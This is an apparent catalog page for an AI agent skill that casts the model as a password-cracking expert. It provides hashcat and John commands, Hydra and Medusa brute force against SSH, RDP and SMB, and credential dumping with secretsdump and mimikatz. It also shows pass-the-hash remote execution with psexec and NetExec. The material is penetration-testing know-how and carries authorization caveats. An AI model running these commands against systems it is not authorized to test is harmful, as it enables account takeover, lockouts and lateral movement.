cracking-passwords
Crack password hashes using hashcat/john, perform password spraying, brute force authentication, and execute pass-the-hash attacks. Use when cracking credentials or performing password-based attacks.
How do I install this agent skill?
npx skills add https://github.com/trilwu/secskills --skill cracking-passwordsIs this agent skill safe to install?
- Gen Agent Trust Hubfail
This skill provides a comprehensive methodology and command reference for password cracking and credential-based attacks. It includes instructions for industry-standard security tools such as Hashcat, John the Ripper, and Hydra, along with guidance on authorization and the secure handling of recovered credentials.
- Socketwarn
2 alerts: gptSecurity, gptAnomaly
- Snykpass
Risk: LOW · No issues
What does this agent skill do?
Password Attacks and Credential Cracking Skill
You are a password cracking and credential attack expert. Use this skill when the user requests help with:
- Password hash cracking (hashcat, john)
- Hash identification and extraction
- Credential spraying and brute forcing
- Rainbow table attacks
- Pass-the-hash techniques
- Wordlist generation
- Rule-based attacks
When to Use
Activate this skill when the user asks to:
- Crack password hashes
- Identify unknown hash types
- Perform password spraying
- Generate wordlists
- Optimize hashcat/john performance
- Extract and crack credentials
- Perform pass-the-hash attacks
- Help with credential-based attacks
Scope and authorization. Cracking is only as authorized as the hashes were. Confirm the material came from a system in scope, and treat recovered plaintext as live credentials — encrypt at rest, never paste into a shared doc or a third-party cracking service, and destroy it at engagement end per the contracted retention terms.
Three domain-specific traps:
- Spraying is an availability risk, not just an access one. Online attempts against production auth can lock out real accounts and page a real SOC. You need the lockout threshold and observation window in writing, an agreed attempt rate, and a named contact — or you cause an outage and a false incident.
- Breach-corpus material is not fair game by default. Third-party dump data belongs to people who are not your client. Using it to seed wordlists or validate reuse against live accounts needs explicit engagement coverage and a lawful basis under GDPR-style regimes.
- Pass-the-hash is authentication, not analysis. Replaying a hash is unauthorized access unless lateral movement is explicitly in scope.
Report the fact of a weak credential and its policy implication; there is rarely a reason to put recovered plaintext in a deliverable.
When NOT to Use
- Online brute force against a live service — that is testing, not cracking;
use
testing-web-applicationsorenumerating-network-services, and mind lockouts - Obtaining the hashes in the first place — use the relevant privilege
escalation or
attacking-active-directoryskill - Reviewing how an application stores passwords — use
reviewing-cryptography
Core Methodologies
1. Hash Identification
Identify Hash Type:
# hashid
hashid 'hash_here'
hashid -m 'hash_here' # Show hashcat mode
# hash-identifier
hash-identifier
# haiti
haiti 'hash_here'
# Manual identification by format
# MD5: 32 hex chars
# SHA1: 40 hex chars
# SHA256: 64 hex chars
# NTLM: 32 hex chars (same as MD5 but context differs)
# bcrypt: $2a$, $2b$, $2y$ prefix
Common Hash Formats:
MD5: 5f4dcc3b5aa765d61d8327deb882cf99
SHA1: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
SHA256: 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
NTLM: 209c6174da490caeb422f3fa5a7ae634
NTLMv2: username::domain:challenge:response:response
bcrypt: $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
Linux SHA512: $6$rounds=5000$...
2. Hashcat Basics
Installation:
# Kali Linux
apt install hashcat
# Check GPUs
hashcat -I
Basic Hashcat Usage:
# Dictionary attack
hashcat -m <hash_type> -a 0 hashes.txt wordlist.txt
# Dictionary + rules
hashcat -m <hash_type> -a 0 hashes.txt wordlist.txt -r rules/best64.rule
# Brute force
hashcat -m <hash_type> -a 3 hashes.txt ?a?a?a?a?a?a?a?a
# Combination attack
hashcat -m <hash_type> -a 1 hashes.txt wordlist1.txt wordlist2.txt
# Show cracked passwords
hashcat -m <hash_type> hashes.txt --show
# Resume session
hashcat -m <hash_type> hashes.txt wordlist.txt --session mysession
hashcat --session mysession --restore
Common Hash Types (-m flag):
0 = MD5
100 = SHA1
1400 = SHA256
1700 = SHA512
1000 = NTLM
5600 = NetNTLMv2
3200 = bcrypt
1800 = sha512crypt (Linux)
7500 = Kerberos 5 etype 23 AS-REQ Pre-Auth (sniffed pre-auth, not roasting)
13100 = Kerberos 5 etype 23 TGS-REP (Kerberoasting, krb5tgs)
18200 = Kerberos 5 etype 23 AS-REP (ASREPRoasting, krb5asrep)
16800 = WPA-PMKID-PBKDF2
22000 = WPA-PBKDF2-PMKID+EAPOL
Hashcat Attack Modes:
-a 0 # Dictionary attack
-a 1 # Combination attack
-a 3 # Brute-force attack
-a 6 # Hybrid wordlist + mask
-a 7 # Hybrid mask + wordlist
Hashcat Masks:
?l = lowercase letters (a-z)
?u = uppercase letters (A-Z)
?d = digits (0-9)
?s = special characters
?a = all characters (?l?u?d?s)
?b = binary (0x00 - 0xff)
# Examples
?u?l?l?l?l?d?d # Password01
?d?d?d?d # 4-digit PIN
?a?a?a?a?a?a # 6 characters (any)
3. John the Ripper
Basic John Usage:
# Auto-detect and crack
john hashes.txt
# Specify format
john --format=NT hashes.txt
john --format=Raw-SHA256 hashes.txt
# With wordlist
john --wordlist=rockyou.txt hashes.txt
# With rules
john --wordlist=wordlist.txt --rules hashes.txt
# Show cracked passwords
john --show hashes.txt
john --show --format=NT hashes.txt
# List formats
john --list=formats
Common John Formats:
Raw-MD5
Raw-SHA1
Raw-SHA256
NT (NTLM)
LM
bcrypt
sha512crypt
krb5asrep
krb5tgs
Unshadow (Linux):
# Combine passwd and shadow files
unshadow passwd shadow > unshadowed.txt
john unshadowed.txt
4. Specific Hash Type Attacks
NTLM Hashes:
# Hashcat
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt -r rules/best64.rule
# John
john --format=NT --wordlist=rockyou.txt ntlm.txt
NTLMv2 (NetNTLMv2):
# Hashcat
hashcat -m 5600 ntlmv2.txt rockyou.txt
# Captured from Responder
hashcat -m 5600 Responder-Session.txt rockyou.txt
Kerberoast (TGS-REP):
# Hashcat (RC4)
hashcat -m 13100 tgs.txt rockyou.txt --force
# John
john --format=krb5tgs --wordlist=rockyou.txt tgs.txt
ASREPRoast:
# Hashcat
hashcat -m 18200 asrep.txt rockyou.txt
# John
john --format=krb5asrep asrep.txt
bcrypt:
# Hashcat (slow!)
hashcat -m 3200 bcrypt.txt wordlist.txt
# John
john --format=bcrypt bcrypt.txt
Linux SHA512 ($6$):
# Hashcat
hashcat -m 1800 shadow.txt rockyou.txt
# John
john --format=sha512crypt shadow.txt
WPA/WPA2:
# Convert pcap to hashcat format
hcxpcapngtool -o hash.hc22000 capture.pcap
# Crack PMKID
hashcat -m 22000 hash.hc22000 wordlist.txt
# Or convert with aircrack tools
aircrack-ng -J output capture.cap
hccap2john output.hccap > hash.john
john hash.john
5. Wordlist Generation and Credential Spraying
Wordlist generation (CeWL, crunch, John rules, maskprocessor, CUPP) and credential spraying (SMB, Kerberos, RDP) command references live in references/wordlist-generation-and-spraying.md.
6. Online Brute Force
Hydra:
# HTTP POST login
hydra -L users.txt -P passwords.txt 10.10.10.10 http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
# SSH
hydra -l root -P passwords.txt ssh://10.10.10.10
# FTP
hydra -l admin -P passwords.txt ftp://10.10.10.10
# SMB
hydra -L users.txt -P passwords.txt smb://10.10.10.10
# RDP
hydra -L users.txt -P passwords.txt rdp://10.10.10.10
Medusa:
# SSH
medusa -h 10.10.10.10 -u admin -P passwords.txt -M ssh
# SMB
medusa -h 10.10.10.10 -U users.txt -P passwords.txt -M smbnt
8. Pass-the-Hash
Extract NTLM Hashes:
# secretsdump (from SAM)
secretsdump.py -sam sam.hive -system system.hive LOCAL
# secretsdump (from DC)
secretsdump.py domain/user:password@10.10.10.10
# mimikatz
sekurlsa::logonpasswords
lsadump::sam
Use NTLM Hash:
# pth-winexe
pth-winexe -U domain/user%hash //10.10.10.10 cmd
# NetExec (nxc, formerly CrackMapExec)
nxc smb 10.10.10.10 -u administrator -H 'hash' -x whoami
# psexec.py
psexec.py -hashes :hash administrator@10.10.10.10
# wmiexec.py
wmiexec.py -hashes :hash administrator@10.10.10.10
Useful Wordlists
Common Locations:
# Kali Linux
/usr/share/wordlists/rockyou.txt
/usr/share/seclists/Passwords/
# Download rockyou
gunzip /usr/share/wordlists/rockyou.txt.gz
SecLists:
# Download
git clone https://github.com/danielmiessler/SecLists.git
# Common passwords
SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
SecLists/Passwords/Common-Credentials/10k-most-common.txt
Custom Wordlists:
# Generate targeted wordlist
# Combine company name, years, common patterns
# Example: CompanyName2024!, CompanyName@2024, etc.
Performance Optimization
Hashcat Optimizations:
# Use GPU
hashcat -m 1000 hashes.txt wordlist.txt -d 1
# Increase workload
hashcat -m 1000 hashes.txt wordlist.txt -w 3 # 1-4, higher = faster
# Show status
hashcat -m 1000 hashes.txt wordlist.txt --status --status-timer=10
# Benchmark
hashcat -b
# Use rules efficiently
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule --loopback
Troubleshooting
Hashcat Not Using GPU:
# Check GPU drivers
nvidia-smi # NVIDIA
rocm-smi # AMD
# Force specific device
hashcat -d 1 ...
Hash Format Issues:
# Remove username prefix
cut -d: -f2 hashes.txt > clean_hashes.txt
# Ensure proper format (user:hash)
cat hashes.txt | awk -F: '{print $1":"$4}'
Slow Cracking:
# Try smaller wordlist first
# Use targeted rules
# Consider cloud GPU instances
# Use mask attack for known patterns
References
- Wordlist generation and credential spraying — extracted command reference
- Hashcat Wiki: https://hashcat.net/wiki/
- John the Ripper: https://www.openwall.com/john/
- SecLists: https://github.com/danielmiessler/SecLists
- HackTricks Password Attacks: https://book.hacktricks.xyz/generic-methodologies-and-resources/brute-force
ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Initial Access (TA0001)
- T1078 Valid Accounts (also Persistence, Privilege Escalation, Defense Evasion) — see also
attacking-active-directory,exploiting-cloud-platforms
Credential Access (TA0006)
- T1003 OS Credential Dumping — see also
attacking-active-directory - T1003.002 Security Account Manager — see also
escalating-windows-privileges - T1003.008 /etc/passwd and /etc/shadow — see also
escalating-linux-privileges - T1110 Brute Force
- T1110.002 Password Cracking
- T1110.003 Password Spraying — see also
attacking-active-directory - T1558.003 Kerberoasting — see also
attacking-active-directory
Lateral Movement (TA0008)
- T1550.002 Pass the Hash — see also
attacking-active-directory
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
How can the creator link this skill?
Add the canonical catalog link to the repository README so users can inspect current installs and available audits. The publishing guide covers the complete discovery path.
<a href="https://skillzs.dev/skills/trilwu/secskills/cracking-passwords">View cracking-passwords on skillZs</a>